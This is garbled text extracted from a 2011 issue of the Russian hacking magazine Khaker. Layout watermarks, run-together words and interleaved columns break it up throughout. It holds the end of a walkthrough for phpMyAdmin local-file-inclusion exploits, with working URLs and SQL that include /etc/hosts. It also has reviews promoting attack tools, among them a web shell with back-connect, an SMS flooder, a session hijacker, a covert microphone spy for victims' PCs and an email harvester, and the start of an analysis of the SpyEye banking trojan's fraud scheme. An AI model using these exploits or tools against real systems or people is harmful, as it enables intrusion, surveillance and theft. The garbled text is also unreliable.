 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

перваятаблица,вполе table_name —имяпервойтаблицы. Наличие в базе данных такой таблицы позволит функции

PMA_getMIME вернуть нужный нам массив $GLOBALS['mime_map'].

2.Переопределить$_SESSION['relation'] итемсамымсформироватьнужныйнаммассив$cfgRelation.

Этоможносделатьдовольнопросто.

НевыходяизPMA,открываемновуювкладкувбраузереивбиваем тудатакуюссылку:

http://phpMyAdmin/index.php?token=<текущий токен> &session_to_unset=<*x*>&_SESSION[relation][1][commwork]=1 &_SESSION[relation][1][mimework]=1&_SESSION[relation][1] [db]=test&_SESSION[relation][1][column_info]=pmatest

Подробнееопроисходящейспомощьютакогометодаперезаписи глобальныхпеременныхчитайвпредыдущемномережурнала.

3.Проинклудитьлокальныйфайл,перейдяпоссылкеhttp:// phpMyAdmin/sql.php?db=test&table=integer&token=<текущии токен>.

Есливсепрошлонормально,точутьвышетаблицыintegerпоявитсясодержимоефайлa/etc/hosts.

ВТОРОЙИНКЛУД

Следующийклассныйинклуд,которыймырассмотрим,является общимдлявсей3.4.x-веткиphpMyAdmin’авплотьдоверсии3.4.3.1 включительно.Сновазаходимнаофициальныйсайтдвижкаиищем advisoryподназваниемPMASA-2011-10.Опятьсмотримнапатч,пред- лагаемыйразработчиком,ипонимаем,чтопроблемнымявляется следующийкодвфайле sql.php:

$mime_map = PMA_getMIME($db, $table);

...

foreach($mime_map as $transformation) {

$include_file = $transformation['transformation'];

...

if (file_exists('./libraries/transformations/' . $include_file)) {

$transformfunction_name = str_replace('.inc.php', '',

$transformation['transformation']);

...

require_once './libraries/transformations/' . $include_file;

Чтобыдобратьсядоэтогокода,намнеобходимопройтиследующие проверки:

1.$GLOBALS['is_ajax_request'] == true .Легкопонять,чтодляудовлетворенияэтогоусловиямыдолжныпередатьскриптунепустой параметрajax_request.

2.0 == $num_rows || $is_affected.Тут у нас два варианта: обращение к таблице без записей, или в нашем обращении к скрипту должен быть какой-либо sql-запрос. Первый вариант простой, второй немного сложнее (эксплоит для второго варианта ищи в сносках).

Разобравшисьсусловиями,намостаетсятольковспомнить,что функция PMA_getMIME намужевстречаласьвышеичтодляформированиянужногонаммассива $mime_map мыдолжныиметьдоступ кбазеданныхphpmyadminилииметьвозможностьманипулированияэлементамимассива$_SESSION.Причемдоступкбазеданных phpmyadminнамнеобходимтольковверсииphpMyAdmin3.4.3.1,так каквболеераннихверсияхсуществуетвозможностьперезаписи глобальныхпеременных.

Итак,вотодинизвариантовиспользованияданногоинклудадля версииphpMyAdmin3.4.3:

1.ЛогинимсявphpMyAdminисоздаемнужнуюнамтаблицу:

CREATE TABLE 'test'.'pmatest' ( 'column_name' INT NOT NULL ,

'mimetype' INT NOT NULL , 'transformation' TEXT NOT NULL , 'transformation_options' INT NOT NULL , 'db_name' TEXT NOT NULL,

'table_name' TEXT NOT NULL ) ENGINE = MYISAM ;

074

ХАКЕР 10/153/2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Тысячаиодининклудw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ПатчдляLFI-уязвимостейвphpMyAdmin’е

INSERT INTO 'test'.'pmatest' ('column_name', 'mimetype', 'transformation', 'transformation_options', 'db_name', 'table_name') VALUES ('1', '1', '/../../../../../../../etc/hosts',

'1', 'test', '<имя пустой таблицы, к которой мы будем обращаться>');

2.Записываемвсессиюнужныенамданныеитемсамымформируем полезныйдлядальнейшихдействиймассив $cfgRelation:

http://phpMyAdmin/index.php?token=<текущий токен>

&session_to_unset=<*x*>&_SESSION[relation][1][commwork]=1

&_SESSION[relation][1][mimework]=1&_SESSION[relation][1][db]=test

&_SESSION[relation][1][column_info]=pmatest

3.Заходимпоследующейссылкеиинклудимнужныенамданные:

http://phpmyadmin/sql.php?do_transformations=1&ajax_request=1

&table=<тут имя пустой таблицы>&db=test&token=<валидный токен>

Вобщем,этотинклудимееттужесамуюприроду,чтоипредыду- щий,таккакосновнаяпричинаегопоявления—этовозможность манипулированиязначениямивмассиве $cfgRelation.

Такжемогунамекнутьтебе,чтообаописанныхинклудав

phpMyAdminкрайнеопаснынаshared-хостингах.Здесьоткрыва- етсяогромныйпростордлядействий:тыможешьпростозарегать свойаккаунтнатомжесервере,гденаходитсясайтжертвы,азатем поиметьэтотсамыйсайтспомощьюдефолтнойдлятакиххостингов системыуправленияMySQLбазамиданныхphpMyAdmin.

ПОДВЕДЕНИЕИТОГОВ

Воттак,дорогойчитатель.Насегодняшнийденьтема,казалосьбы, такогоизбитогобага,каклокальный/удаленныйинклуд,живети процветает.Постояннонаходятсяновыеспособыэксплуатации, открываютсянеиспользуемыеранеевозможностиязыкаPHP,а такженеуклонноповышаетсяуровеньзнанийбагокопателейпо всемумиру.

Особостоитотметитьтотфакт,чтодажевтакихраспространенных движках,какphpMyAdmin,ипосейденьвстречаютсяуязвимостиданноготипа.Этипростыефактыговорятотом,чторазработчикисофта неуделяютдолжноговниманияэтомутипууязвимостейинехотятпродуматьвсевозможныевариантыпередачиданныхвопасныефункции. Какбылопоказановыше,ихсуществуетнемало.

Конечно, находить инклуды становится всё сложнее и сложнее, но я надеюсь, что данная статья подтолкнет тебя к новым исследованиям. z

ХАКЕР 10/153/2011

075

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

ВЗЛОМm

/X-TOOLS

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Маг(icq884888,http://snipper.ru)w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

X-Tools

СОФТДЛЯВЗЛОМАИ АНАЛИЗАБЕЗОПАСНОСТИ

ОС:

Windows2000/ XP/2003Server/ Vista/2008Server/7

Автор: c0nDifesa

1

РАСПРЕДЕЛЕННЫЙ БРУТФОРСDEFBRUTE

Оченьчастопереднашимбратомвстаетзадача восстановлениястрокипоееMD5-хешу.Не менеечастотакаязадачауспешновыполняется спомощьюразнообразныхсловарей,разбросанныхпоСети.Ночтоделать,еслитакойперебор растягиваетсянанеопределеннодолгийсрокив словаряхпросто-напростонетискомойстроки? Намостаетсятолькопосимвольнаягенерация строкисравнениеиххешасцелевым.Этотпроцессиназываетсябрутфорсом.

Выполнениеданногопроцессанаодноймашиневыглядитпоменьшеймеренерационально, поэтомуяиспешупредставитьтебеспециальное программноесредство,предназначенноедля брутфорсанасразунесколькихмашинах.

Итак,DefBrute—этосистемараспределенного переборастрокдляMD5-хешей.Даннаясистема состоитизсервернойиклиентскойчастей.

Сервернаячасть(DefBrutev1.0.exe)выполняет функциигенерации,учетаипередачидиапазоновстрокклиентам.КлиентдляDefBruteпредставляетсобойконсольноеприложение,формат запускакоторогоследующий:

defbc.exe <server ip> <server port>

Такженастоятельнорекомендуютебепрочитатьнаходящуюсяпоадресуwww.defec.ru/node/4 статьюавтораобособенностяхфункционированияипроцессесозданияпрограммы.

ОС:

ОС:

*nix/win

Windows2000/

Автор:

XP/2003Server/

Vista/2008Server/7

profexer

Автор:

 

 

ZdezBilYa

 

 

2

 

 

 

3

 

 

 

 

 

 

 

 

 

PHP-ВЕБ-ШЕЛЛP.A.S.

 

 

ICQSMS-ФЛУДЕР

 

 

 

Оченьдавновнашихобзорахнебылоникаких веб-шеллов.Насталовремяисправитьэтонедо- разумение.Встречаем:P.A.S.(phpweb-shell)от мемберафорумаrdot.orgprofexer’а.Помимовсей стандартнойфункциональности,шеллимеетряд фишек:

1.Авторизацияпокукисам.

2.Шифрованиешеллатвоимсобственным ключем: поадресуbit.ly/r36L3kможнособрать шеллсуникальнымпаролем.Апарольдля шеллананашемдиске—«1».

3.Файловыйменеджерподдерживаетгрупповоеудаление,перемещение,копирование, скачиваниеизагрузкуфайловидиректорий.

4.SQL-клиентдляMySQL,MSSQL,PostgreSQL, удобнодампитьБДитаблицы.

5.Bindport(Perl).

6.Back-connect(Perl).

7.Portscanner(PHP).

8.BruteForceнаоснове/etc/passwdдляSSH, FTP,POP3,MySQL,MSSQL,PostgreSQL

свозможностьюнастроек.

9.ВыполнениекомандОСиPHP-кода различнымиспособами.

10.Малыйразмер(15Кб).

Кромеэтого,нельзянеотметитьудобный аскетичныйдизайнскрипта:черныйцветиверсткапоцентруэкранавсегдабылиибудутсамым удобнымвариантом.

НаочередиещеоднакласснаяпрограммаотпостоянногофигурантанашейрубрикиZdezBilYa. Какясноизназвания,ICQsmsflooder—этосмс- флудермобильноготелефона,работающийчерез протоколICQ.Особенностиифункционалтулзы:

поддерживаютсяномераМТС,Билайнаи Мегафона;

одинномерICQпозволяетотправить5смс;

текстабонентуприходитввиде“(*префикс*, icq)*текст*”;

многопоточность;

статистикаотправкисмс(«бэды»и«гуды»). Максимальнаядлинатекста,какивовсех

стандартныхсмсках,составляет160символов (латиницей)или70символов(юникодом,русскимисимволами).

Дляначалаработысутилитойтебененужны никакиеспециальныезнания.Достаточнолишь вбитьномердляфлуда,номерипарольICQ, ввеститекстsms,выбратьколичествопотоков инажатьнакнопкусзеленойстрелкой.Дальше флудервсёсделаетзатебя.

Такжевкомплектеидетпрограмма«ICQsms check»дляотбораномеровсдоступнымиSMS. Работасчекеромтожевыглядитдостаточнотривиально:выбираемисходныйфайлсномерами телефонов,выбираемпотоки,вводимпутьдля сохраненияфайласрезультатамипроверкии навыходеполучаемномера,подходящиедля мобильногофлуда.

076

ХАКЕР 10/153/2011

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

w Click

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

t

 

 

 

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

NOW!

r

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

 

 

X-Toolsw Click

 

 

 

 

 

 

o

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ОС:

FACENIFF:УГОНЧУЖИХСЕССИЙСОСМАРТФОНА

 

 

 

 

 

 

 

 

 

 

 

 

Android

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Автор:

FaceNiff—этоещеболеебезбашенноеразвитие

налюбомAndroid-смартфонезапуститьэтот

 

 

 

 

 

 

 

 

 

 

 

bponury

 

 

 

 

 

 

 

 

 

 

 

идеиаддонаFiresheep,авторкотороговпервые

хек-инструментиперехватыватьаккаунтысамых

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сделалугончужихHTTP-сессийдоступным

разныхсервисов:FaceBook,Twitter,ВКонтакте

 

 

 

 

 

 

 

 

 

 

 

длялюбыхжелающих.Установиврасширение

ит.д.—всегоболее10.Все,чтонужно,—это

 

 

 

 

 

 

 

 

 

 

 

 

FiresheepвсвойFirefox,можновообщеничего

подключитьсякнужнойбеспроводнойсетии

 

 

 

 

 

 

 

 

 

 

 

 

неделаяперехватитьсессииFacebook,Twitter,

запуститьприложение(можешьпосмотретьви-

 

 

 

 

 

 

 

 

 

 

FlickrиAmazon.comтехпользователей,которые

деодемонстрацию:bit.ly/qbzwGh).Правда,чтобы

 

 

 

 

 

 

 

 

 

 

работаливтойжебеспроводнойсетиинеисполь-

сдержатьпотокскрипкидис,авторограничил

 

 

 

 

 

 

 

 

 

 

 

 

зовалибезопасныеспособыаутентификации.

максимальноечислосессийтремя—дальше

 

 

 

 

 

 

 

 

 

 

 

 

Такимобразомисследовательхотелпривлечь

нужнообратитьсякразработчикузаспециаль-

 

 

 

 

 

 

 

 

 

 

 

вниманиекэтойпроблеменетолькоспециали-

нымактивационнымкодом.

 

 

 

 

 

 

 

 

 

 

 

 

стовпоИБ,ноиширокихмасс.

FaceNiffтребуетналичиятелефонанаAndroid

 

 

 

 

 

 

 

 

 

СоздательFaceNiffпошелещедальшеи

срут-доступом.Приэтомонотличносебячув-

 

 

 

 

 

 

 

 

 

 

 

 

реализовалидеюFiresheepввидемобильного

ствуетвлюбых,дажезащищенныхсетях(WEP,

 

 

 

 

 

 

 

 

 

 

 

приложения!Да-да,скачавapk-пакетспро-

WPAиWPA2).Единственноепрепятствие—это

 

 

 

 

 

 

 

 

 

 

 

граммой(faceniff.ponury.net),можнопрактически

используемаявсетитехнологияEAP.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ОС:

ОС:

ОС:

Windows2000/

Windows2000/

Windows2000/

XP/2003Server/

XP/2003Server/

XP/2003Server/

Vista/2008Server/7

Vista/2008Server/7

Vista/2008Server/7

Автор:

Автор:

Автор:

SLESH

FlameofSoul

xmadstyle

 

 

 

 

 

4

 

5

 

6

МИКРОФОННЫЙ

 

 

 

 

 

ЛЕГКИЙВЗЛОМ

ХЕШЕЙСMD5

 

ШПИОНMICSPYSE

 

EMAIL-ГРАББЕРXSPRYT

 

ONLINESCANNER

 

 

 

 

Еслитыпомнишь,впрошломвыпускеX-Tools

Теперьпереходимкзамечательномумыльному

ТеперьжедавайвернемсяковзломуMD5ивни-

былописанзамечательныймикрофонный

грабберуслаконичнымназваниемXSpryt.Данная

мательнопосмотримнапрогуMD5OnlineScanner,

шпионMicSpyотСлеша.Теперьжепришловремя

прогапоможеттебелегкоибыстроспарситьвсе

созданнуюмемберомАнтичатаxmadstyleспеци-

представитьтебеизумительнуюмодификацию

встреченныеemail-адресасвыбранноготобой

альнодляпрогонахешейпоспециализирован-

даннойпрограммыподназваниемMicSpySE

сайта,адальшетыужесамвполнесможешьопре-

нымонлайн-сервисам.

(StreamEdition).

делиться,чтоделатьсполученнымсписком.Но

Итак,даннаяутилитапредставляетсобой

 

Основнаяфичаданнойутилиты,какясноиз

помни,чтомывсегдабылиибудемпротивспама!

сканерMD5-хешейнапредметихналичиявраз-

названия,заключаетсявтом,чтозвукпередает-

Достоинстваинедостаткипроги:

личныхонлайн-базах.

сянаблюдателювпотоковомрежиме. Основные

однопоточность;

Особенностисканера:

измененияпосравнениюспредыдущейверсией

заданиетайм-аута;

• многопоточность(до250потоков);

шпиона:

низкоепотреблениесистемныхресурсов;

• возможностьвыбораформатавходных

отсутствиеадминки;

отсутствиеэвристики(сайтнесканитсясам);

ивыходныхданных;

• записьзвукабольшенепроизводитсявфайлы;

удалениедубликатов;

• возможность выбора онлайн-сервисов

• существенноуменьшенразмер:после

сохранениепройденногоприкрахе;

«на лету»;

 

упаковкиUPX’омразмербудетсоставлять

подробныеотчетыпонайденныммылами

• возможностьсканированияизбуфера

 

всего-навсего5632байта;

 

пройденнымссылкам.

илифайла;

• передачаданныхвпсевдопотоковом

Работаспрогойвыглядитдостаточнотривиально:

• возможностьсохранениярезультатов

 

режимечерезсеть;

1.

Запускаемexe-файл.

вбуферилифайл;

возможностьпрослушиванияпотока

2.

Дальшеграбберсампопроситввестивсё,что

• удобныйGUI,возможностьсворачиваниявтрей.

 

черезWinAmp;

 

необходимодляначалапарсинга.

Прогаподдерживаеттакиеизвестныеонлайн-

возможностьодновременного

 

Такжетывполнеуспешносможешьработатьс

сервисы,как:c0llision.net,tmto.org,www.md5this.

 

подключения256пользователей.

утилитойиприпомощиконсоли:grabber.exe -h

com,md5.hashcracking.com,md5online.net,

 

 

 

 

winne.com -p 80 -t 3000.Здесьпараметрыобо-

hashkiller.comиещеоколо30других.

 

Использоватьшпионнепросто,аоченьпро-

значаютследующее:

Особоевниманиеследуетобратитьнаудоб-

сто:онзагружаетсянакомпьютержертвы,после

h—хост(безhttp://);

нейшиевстроенныемакросы,используемыепри

чегоможнонатравливатьлюбойпотоковый

p—порт;

экспортеиимпортесписковхешейвсканер:

плеернаадресhttp://[IPжертвы]:4545.Осталось

t—тайм-аутвмикросекундах.

[MD5]—текущийхеш;

толькоприкрутитьнехитруювозможностьback

 

Всеспарсенныемыльникисохраняютсявmail.

[DATA]—твоикомментарии(логин,мылоит.д.);

connect'а—итулзастанетреальнобесценной.

txt;ссылкидляпарсинга,которыетыприготовил

[TEXT]—исходнаястрокадляхеша(пароль);

 

 

 

 

заранеедляопределенногосайта,кидайвlink.txt.

[SERVICE]—адрессервиса,расшифровавшегохеш.

ХАКЕР 10/153/2011

077

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

to

MALWAREm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

Глаз

зла

МАСШТАБНЫЙТРОЯН SPYEYEПОДХАКЕРСКИМ МИКРОСКОПОМ

Входепроведениярасследования одногоизинцидентоввнашируки попалоруководствокизвестнейше- мувредоносномуПО—SpyEye.Что самоепримечательное,руководство былокакнаанглийском,такинарусскомязыках.Напримереэтогодокументамырассмотрим,чтопредставляетизсебяSpyEyeсточкизрения хакера,аневирусногоаналитика.

INFO

ВэтойстатьерассматриваетсяSpyEye версииv1.3.25от 14.03.2011.

Нанашемдискетебя ждетполнаяверсия статьи,содержащаяописаниевсех ключей,плагинови прочихтонкостей, которыеневыдерживаетбумажная версияжурнала.

СхемамошенничествасДБО

МОШЕННИЧЕСТВОВДБО

ПокупкавредоносногоПО

Шифрованиеисполняемыхфайлов

Арендасерверовдляуправленияботнетом

ПокупкатрафикавопределенныхрегионахРФ

Отправкаплатежныхпоручений

Выводилегализацияденежныхсредств

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

СергейНикитинw Click

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

оследнеевремяможносмелосчитатьэпохой

Пботнетов:вирусыстремятсякцентрализациии автоматизации.Крупнейшиеботнетыиспользуются

дляDDoS’а,рассылкиспама,совершениямошенничествс платежнымисистемами.SpyEyeотличноподходитнароль банковскоготрояна,нацеленногонасовершениемошенничестваспомощьюсистемдистанционногобанковскогообслуживания.SpyEyeраспространяетсяввидеготовогопродукта, акакегоиспользовать—решитсампокупатель.

СХЕМАМОШЕННИЧЕСТВА

ПервымделомзлоумышленникпокупаетSpyEye(думаю, длятебянесекрет,чтокодяттрояныоднилюди,аиспользу- ют—совсемдругие).Вкомплектеидетсервернаяиклиент- скаячасти,втомчислебилдерботов.Контроллерботнета размещаетсявСети,злоумышленникпокупаеттрафикдля заражениякомпьютеров.Зачастуювзломомсайтовираз- мещениемэксплойт-паковзанимаютсядругиелюди—те, которыепродаюттрафикдляботнетов.Статистикауспешного заражениясоставляетоколо10%.Послезаражениякомпьютерстановитсяботомиотсылаетмассуданныхнаконтроллер ботнета.ФункционалSpyEyeвесьмаобширениможетдополнятьсяплагинами.Злоумышленникчерезадминистративную

панельконтроллераможетсовершатьмассудействийсботом, втомчислеподключатьсячерезудаленноеуправлениеипроводитьплатежичерезсистемуДБО.Логины/пароликсистеме ДБО,пин-кодыктокенампохищаютсячерезмодульскрытного копированияданныхизразличныхформ—формграббер.

Послепохищенныеденежныесредствалегализуются. ГлавныминструментомустановкиSpyEyeявляетсявиртуальнаяоперационнаясистемаGNU/LinuxDebian5.0.Вэтой ОСужеустановленвеб-сервервместеспанельюуправления формграббера,атакжеssh-клиентипрочийинструментарий. РаспространяетсяввидевиртуальноймашиныVirtualBox.

Главнаяпанельуправлениянужнадляучетастатистикипо ботам,атакжедляуправленияими.Дляееработынеобхо- димустановленныйвеб-серверсподдержкойPHP,атакже MySQL-сервер.Панельразделенанасервернуюиклиентскую части.Кобеимприлагаютсяинсталляторы.Сервернаячасть представляетсобойодинфайл—gate.php.

078

ХАКЕР 10/153/2011

Соседние файлы в папке журнал хакер